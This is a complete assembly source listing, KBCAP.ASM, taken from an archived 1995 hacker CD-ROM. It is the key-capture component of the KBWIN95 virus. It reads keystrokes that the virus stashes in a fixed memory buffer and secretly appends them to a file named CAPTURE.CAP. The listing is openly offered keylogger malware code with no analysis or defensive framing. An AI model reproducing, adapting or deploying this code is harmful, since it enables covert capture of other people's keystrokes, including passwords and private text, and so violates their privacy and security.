home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / KBWIN95 / KBCAP.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-06-06  |  3.4 KB  |  105 lines

  1. ;Key capture program for use with the KBWIN95 virus under Windows 95.
  2. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved.
  3.  
  4. ;Buffer size and location definitions for use with KBWIN95 and the CAPTURE
  5. ;program.
  6. BUF_LOC         EQU     600H            ;This works with Windows-95 Final Beta
  7. BUF_SIZE        EQU     64              ;Size of buffer in words
  8.  
  9.  
  10. .model tiny
  11. .code
  12.  
  13.         ORG     100H
  14.  
  15. START:
  16.         call    OPEN_FILE               ;open command line file
  17.         jc      EXIT1                   ;exit on error
  18. GET_LOOP:
  19.         call    GET_BUFFER              ;get keystrokes from other instance of DOS
  20.         call    FLUSH_FILE              ;else flush file to disk
  21.         call    CLOSE_FILE              ;close it
  22.  
  23.         mov     dx,10                   ;now a short time delay
  24. DLP:    mov     cx,0FFFFH               ;to keep the batch file from executing
  25.         loop    $                       ;this a thousand times a second
  26.         dec     dx                      ;adjust dx to adjust delay time
  27.         jnz     DLP                     ;for faster or slower machines
  28.  
  29.         mov     ah,1                    ;now see if a key was pressed
  30.         int     16H
  31.         jz      EXIT1                   ;no, set error level = 1
  32.         mov     ax,4C00H                ;yes, set error level = 0
  33.         jmp     SHORT EXIT2
  34. EXIT1:  mov     ax,4C01H
  35. EXIT2:  int     21H                     ;exit to DOS
  36.  
  37.  
  38. ;This routine creates the file named on the command line and returns with
  39. ;c set if failure, nc if successful, and bx=handle.
  40. OPEN_FILE:
  41.         mov     ax,3D02H                ;create file r/w
  42.         mov     cx,0
  43.         mov     dx,OFFSET CAPFILE
  44.         int     21H
  45.         mov     bx,ax                   ;handle to bx
  46.         jc      OFR
  47.         mov     ax,4202H                ;seek to end of file
  48.         xor     cx,cx
  49.         xor     dx,dx
  50.         int     21H
  51. OFR:    ret                             ;retur with c set if failure, else nc
  52.  
  53. CAPFILE DB      'CAPTURE.CAP',0
  54.  
  55. ;This function closes the file whose handle is in bx.
  56. CLOSE_FILE:
  57.         mov     ah,3EH
  58.         int     21H
  59.         ret
  60.  
  61. ;This routine writes any keystrokes in the KEY_BUFFER to disk, and cleans
  62. ;up the KEY_BUFFER.
  63. FLUSH_FILE:
  64.         mov     cx,WORD PTR ds:[TB_TAIL]        ;get keys in buffer
  65.         sub     cx,WORD PTR ds:[TB_HEAD]
  66.         or      cx,cx                           ;anything there
  67.         jz      EFF                             ;nope, just exit
  68.         mov     dx,OFFSET TMP_BUF               ;location to write from
  69.         add     dx,WORD PTR ds:[TB_HEAD]
  70.         mov     ah,40H                          ;write file
  71.         int     21H
  72. EFF:    ret
  73.  
  74.  
  75. ;This routine gets the keyboard buffer from the other instance of DOS,
  76. ;and stores it internally at TMP_BUF. Then it zeros the existing buffer.
  77. GET_BUFFER:
  78.         xor     ax,ax
  79.         mov     ds,ax
  80.         mov     si,BUF_LOC                      ;get buffer
  81.         mov     di,OFFSET TB_HEAD
  82.         mov     cx,BUF_SIZE+3
  83.         rep     movsw
  84.  
  85.         push    cs
  86.         pop     ds
  87.         xor     ax,ax
  88.         mov     es,ax
  89.         mov     di,BUF_LOC
  90.         mov     cx,BUF_SIZE+3
  91.         rep     stosw
  92.  
  93.         push    cs
  94.         pop     es
  95.         ret
  96.  
  97. ;Temporary copy of keyboard buffer
  98. TB_HEAD         DW      0
  99. TB_TAIL         DW      0
  100. TMP_BUF         DW      BUF_SIZE dup (0)
  101. TB_CS           DW      0
  102.  
  103.         END     START
  104.  
  105.